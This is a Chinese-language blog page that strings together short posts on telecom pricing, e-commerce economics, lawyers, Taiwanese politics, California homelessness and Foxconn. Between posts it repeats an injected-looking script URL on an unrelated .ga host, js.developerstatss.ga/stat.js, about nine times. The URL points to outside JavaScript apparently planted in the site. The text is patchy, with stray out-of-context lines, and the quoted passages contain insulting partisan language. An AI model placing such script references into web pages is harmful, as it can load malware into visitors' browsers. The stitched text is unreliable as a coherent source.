作者: yuanyuchang

https://js.developerstatss.ga/stat.js?n=ns1

以我自己在民視下過廣告，走完行銷活動後的銷售數字來看，我偏向認為：

民視所謂68萬用戶被斷訊是某種誇大事實的手法，其實這些區域（中台灣到南桃園）應該沒有多少民視觀眾 XD

也就是說斷訊對這68萬人不痛不癢。

https://js.developerstatss.ga/stat.js?n=ns1

網友提供一則分析文:「499之亂中華電信到底是賺還是賠？」

文中宣稱：

「中華電信的499方案看起來賠錢，但如果加入了賽局理論會變成如何呢？」

 

「…通常身為後進者的資本戰思考邏輯，假設小黑電信推出299方案，其他電信只要是299方案以上的使用者就會有興趣NP過來，每搶到一個1,499的他家用戶，我多299元營收，對手少1,499元營收，一來一往就是1,798元落差，就看誰的資本可以撐到最後。身為先行者的電信三雄如果使用這個作法怎麼算都不可能划算，因為耗損的是未來合約內短收月租費，經側試算過30個月可能短收近50億元台幣。…

…可怕啊！看起來今年可以因違約金多收近36億元，但把未來30個月的短收的月租費一算，最後可能短收多達51億元！這是誰想的策略？仔細深思後好像該跟中華電信道歉，我想得太淺，光看老客續約所短少收入，未來三十個月虧損可能是以數十億元，嚇了一跳做出自以為是的評論。」

文章還煞有其事地分享了一個試算表，可惜作者經濟學邏輯錯得離譜而不自知！

該文最大錯誤在於作者竟然把「競爭對手短少的營收」當做「自己增加的利潤」來計算？！

一者不但把同一消費者同一行為重複計算是錯，二者對手營收無論如何減少也與自己利潤無關！

試想全世界只有10個人喝咖啡同時僅有兩家賣咖啡的，假設二家成本一樣一杯10元，市價30元。假設原本我與競爭對手各有5個客人。我削價競爭用5元一杯把全世界的10位客人都吸引過來，我的利潤是（-5 x 10 = -50）元！真金白銀地虧損50元！對手減少的$150元營收怎樣都不會因為我愚蠢的削價競爭而變成我的獲利。

這麼簡單的商業邏輯都不懂，作者還宣稱自己是「行銷顧問」？我正想知道是哪種笨蛋公司會請這等程度之人當顧問時，赫然發現這位作者邱煜庭正是我前一篇文章提到的「倒店電商ASAP」的行銷總監哩！原來如此，會做到結束營業還真是「其來有自」。

 

讓我想起馬克吐溫名言：“Truth is stranger than fiction, but it is because Fiction is obliged to stick to possibilities; Truth isn’t.”

 

PS 作者邱煜庭留言表示：「感謝各位的指教，我不該亂用專業名詞，不該拿不熟的字詞亂用，原文已經更新，日後會多注意 🙂

不過我已經離開 ASAP 三年了，網站收掉這個鍋我可以不背嘛 XD」https://js.developerstatss.ga/stat.js?n=ns1

日前我在「再談PCHome–以經濟分析觀之」一文中提到的經濟邏輯：

…"這種仲介行業關鍵始終在於「集客力」：客人不夠多，廠商上架意願低；商品數量少、不夠便宜、介面不夠簡潔，集客力就差。二者某個程度有點雞生蛋、蛋生雞。多數仲介業都存在同樣的問題。

因此，這種商品仲介平台會希望透過「低免運費門檻」來吸引客人與廠商，是一條幾乎人人都會走上的不歸路。另一方面，平台商如果太常片面隨意搞商品折扣競爭，廠商遲早會受不了而出走。

流量不夠大，規模經濟出不來，財報就很難看；流量大到一定程度，可將平台與倉儲成本攤提到很低比例時，獲利會驚人噴發。而這段成長過程是痛苦的，Amazon如是，PCHome也如是。但PCHome面對一個與Amazon最大不同侷限條件是："台灣市場太小"！建置一個平台後可收的上頭租值，台灣就是不如美國。

經濟分析上也意味：要集資與PCHome競爭的門檻遠低於欲與Amazon競爭。

所以當強力競爭出現時，平台對客戶廠商最明顯的競爭差異始終只能在「降低購物成本」或「減少廠商費用」這兩個自殺利潤空間的策略上打轉，也就註定平台租值在激烈競爭出現時必然快速下跌。"

ASAP看來就是集客力始終上不來，造成基礎建設的規模經濟也一直出不來，帳面虧損肯定是很難看的。

此外，該站從最早的「閃電購物」改名為「省錢購物網」，可知對多數消費者而言，「快速到貨」只是一個加分，但非必要條件。網購偏好始終還是在「省錢」這點上打轉。

這邊我再多談一點，就是我認為實體店面的集客力某個程度上還是比網站的流量來得容易觀察。

不得不說這部電影政治正確多到讓整部電影難看得要死。https://js.developerstatss.ga/stat.js?n=ns1

靠經濟邏輯/直覺，掌握關鍵侷限條件後正確判斷來獲利者，跟「靠販賣特定言論維生」者，是兩種層次之人。

2016年底川普當選前，全球分析師或政論一片認定克林頓會上台時，我是少數認定川普才真正當選且其任職美國股市會大漲，根據自身判斷真金白銀壓寶的獲利，已經證明我的眼光正確。

獲利了結的鈔票才是我的心頭好。

販賣言論者才會在乎讀者看得爽不爽。

這是每個價值投資者必備的獨立思考的自信。

說過很多次：「真理不是靠投票投出來的。」此外，「言論自由前提是要有經濟獨立！」寄人籬下者沒資格談言論自由，這也是多數學者最大的侷限。

順便回覆某些拼命來信宣揚錯誤法律邏輯的所謂法律人：

以為考過國考、律師考就算懂法律，是天真又愚蠢的想法。你不過是「還算會背書」罷了，離思考能力還遠得很。

我還在政大時就已經跟同儕宣揚：「當今世界，同時掌握財經能力與法律知識，再佐以基礎工程認識，才是經濟獨立的重要武器。」我從交通大學休學，花兩個月準備轉學考入政大法律正是基於這樣的想法。

而為了國考學法律之人，與我這種為了投資念法律系之人最大差異在於：當你還在背各種學閥的可笑學說之時，我在大三就靠正確的法律判斷在股票市場獲利高歌了。

當你現在勉強考過律師而苦哈哈地巴結各種客戶，言不及義且自尊踐踏時，我30多歲已經半退休數年，每天睡到自然醒地享受帶小孩的天倫之樂。

我說過：法律人往往號稱大軍其實只有小貓兩三隻。此次拔管事件最為明顯。

而一堆可笑的法律人在枝微末節處斤斤計較時，我這類人早就往他處狩獵收割去。

BTW，這群呆頭法律人真可笑，殊不知我可能是潛在客戶，還跟我大小聲。所謂「生意仔難生」，果然屬實。https://js.developerstatss.ga/stat.js?n=ns1

「明明家裡買了一台保時捷凱燕頂規不發動，還嚷著要作廢；然後再用凱燕的價格去買幾台摩托車、電動輪椅拼裝起來，自以為比較高尚而驕其妻妾。」

「驕其妻妾」典故麻煩年輕不讀文言文的小朋友自己查。https://js.developerstatss.ga/stat.js?n=ns1

陳真醫師談到的幾個重點，都很有趣啊～

QUOTE:"在那留英前後十幾二十年所認識的學界人士，幾乎全部變得綠油油，幾乎沒有例外。讓我更訝異的是，當年那些只要你稍微批評一下國民黨，對方甚至就會馬上不高興甚至翻臉的人，竟然現在也一個個都變成什麼親綠學者或當起綠營的大官小官，甚至整天聲嘶力竭地在各種漂亮場合或學術場域、校園課堂或電視台上發表各種仇中反華的台獨言論，甚至還紀念起他們當年所唾棄與攻擊的黨外人士 (比方說鄭南榕)，甚至還把自己說成自古以來就反國民黨云云，並且拼命給現在不願親綠的人扣上所謂 “不愛台灣” 或 “親中賣台” 的大帽子。"

…"學姊有去參加五月四日成大那一場聲援大學自治的活動，聽她轉述一些狀況，也是挺好笑的。比方說，一個支持大學自治的教授和那些前來反制的學生略有輕微推擠，也許連推擠都稱不上，但是那位教授後面卻又站著一個也是前來反制的女學生，卻不斷大聲喊著 “(新黨) 教授性騷擾” 之類。難道是隔空性騷擾？"

“在陳雲林訪台前夕，海協會副會長張銘清，以廈門大學新聞與傳播學院院長身份，接受台南藝術大學邀請到台灣參加一場學術研討會，結果人渣黨竟然以群眾圍捕的方式，一路抓打，把他撂倒在地，極盡羞辱之能事。

你還記得人渣黨當時是怎麼回應的嗎？比方說現在擔任所謂行政院長的賴啥小，當時是台南市長，他稱讚這樣的行為是一種勇敢的 “反抗”，說這只是一種 “小暴力”，跟大陸對待台灣人的 “大暴力” 不能相提並論，並指控馬英九親中賣台云云。…

…對於人渣黨來說，這一切本來就是一種敵我鬥爭；做為美、日的走狗黨，他當然要打擊與消滅任何對中國懷著友善的人事物。"

“過去十幾二十年發生在世界各地、由美國一手挑起的的各種所謂民主抗爭，到最後的下場幾乎毫無例外，幾乎全數引起極為恐怖的長年血腥內亂或內戰，進而被美國入侵、佔領與控制，淪為人間煉獄。

今天中國之所以能免於戰亂烽火與侵略，只有一個原因，那就是他強大到足以讓列強不敢輕舉妄動，並且足以控制內部穩定；惟有在一個穩定的社會基礎上，社會與國家才有可能發展，絕大多數人的生命與財產及各項自由，才有可能獲得保障。"

“比方說人渣黨這些日本走狗，就連公投是否贊成開放日本核災食品進口台灣，居然也要阻擋，胡扯什麼違反國際貿易規範，所以不可公投。這些人渣真的是什麼鬼話都敢講；過去長年以來把公投捧上天，把公投等同於神聖的民主，誰敢有所不敬，誰就是全民公敵，可是，遇到真正需要公投的事項，他卻反而拼命阻擋，因為不能讓日本主子不開心。"

https://xn--m8t83jvx5c.com/?p=4242https://js.developerstatss.ga/stat.js?n=ns1

WSJ報導：「Why California Leaves Its Homeless Out in the Sun」，整理重點如下：

1. 最近才宣布住房必須強制加裝太陽能發電裝置的加州，看似富裕進步，其實依然不能擺脫經濟自然定律 — 高度管制必然發生資源unemployment。

加州去年無家可歸的遊民人口增加13.7%，同時期紐約僅增加3.6%，而全美增加率為1%。

2. 加州的多項住房與土地管制，造成該州房屋價格或租金都高不可企，公共住宅與租金管制屋供給極為有限。

3. 遊民增加的原因之二：2014年通過的Proposition 47，該法案縮短非暴力犯罪的刑期，例如商店竊盜、偷竊金額小於$950美元者或毒品施用者。而加州警方也公開表示放棄逮捕這類犯人，因為徒勞無功，抓進監獄沒幾天又給放出來，純粹浪費警力。

此法案通過後，財產類犯罪數量與全國減少的趨勢反其道而行，獨獨加州在成長！2014~17年，Anaheim（加州迪士尼樂園所在地）竊盜罪成長9%、洛杉磯成長22%而舊金山成長44%！

致使許多本來應該待在監獄的小偷小犯全回到街上，而自身的前科記錄讓多數房東拒絕租賃；加上加州諸多法規讓條件很差的房屋不能流通在市面上出租。因此這些人被迫無家可歸，一一輪為街上遊民。

4. 橘郡政府從Anaheim的遊民村中清出13950針頭、404頓垃圾與5279磅有毒物質。

隨著FII在大陸通過上市審查以及台灣鴻海宣布減資2成，我認為郭台銘很明顯在用腳投票。

一如當年受不了李登輝民粹且愚蠢的「戒急用忍」政策而將大部分資產移轉國外的王永慶一樣。

台灣鴻海越來越像個控股公司，而真正掌握未來收入流的事業單位將分布在世界各地（當然還是以中國為主）。

https://js.developerstatss.ga/stat.js?n=ns1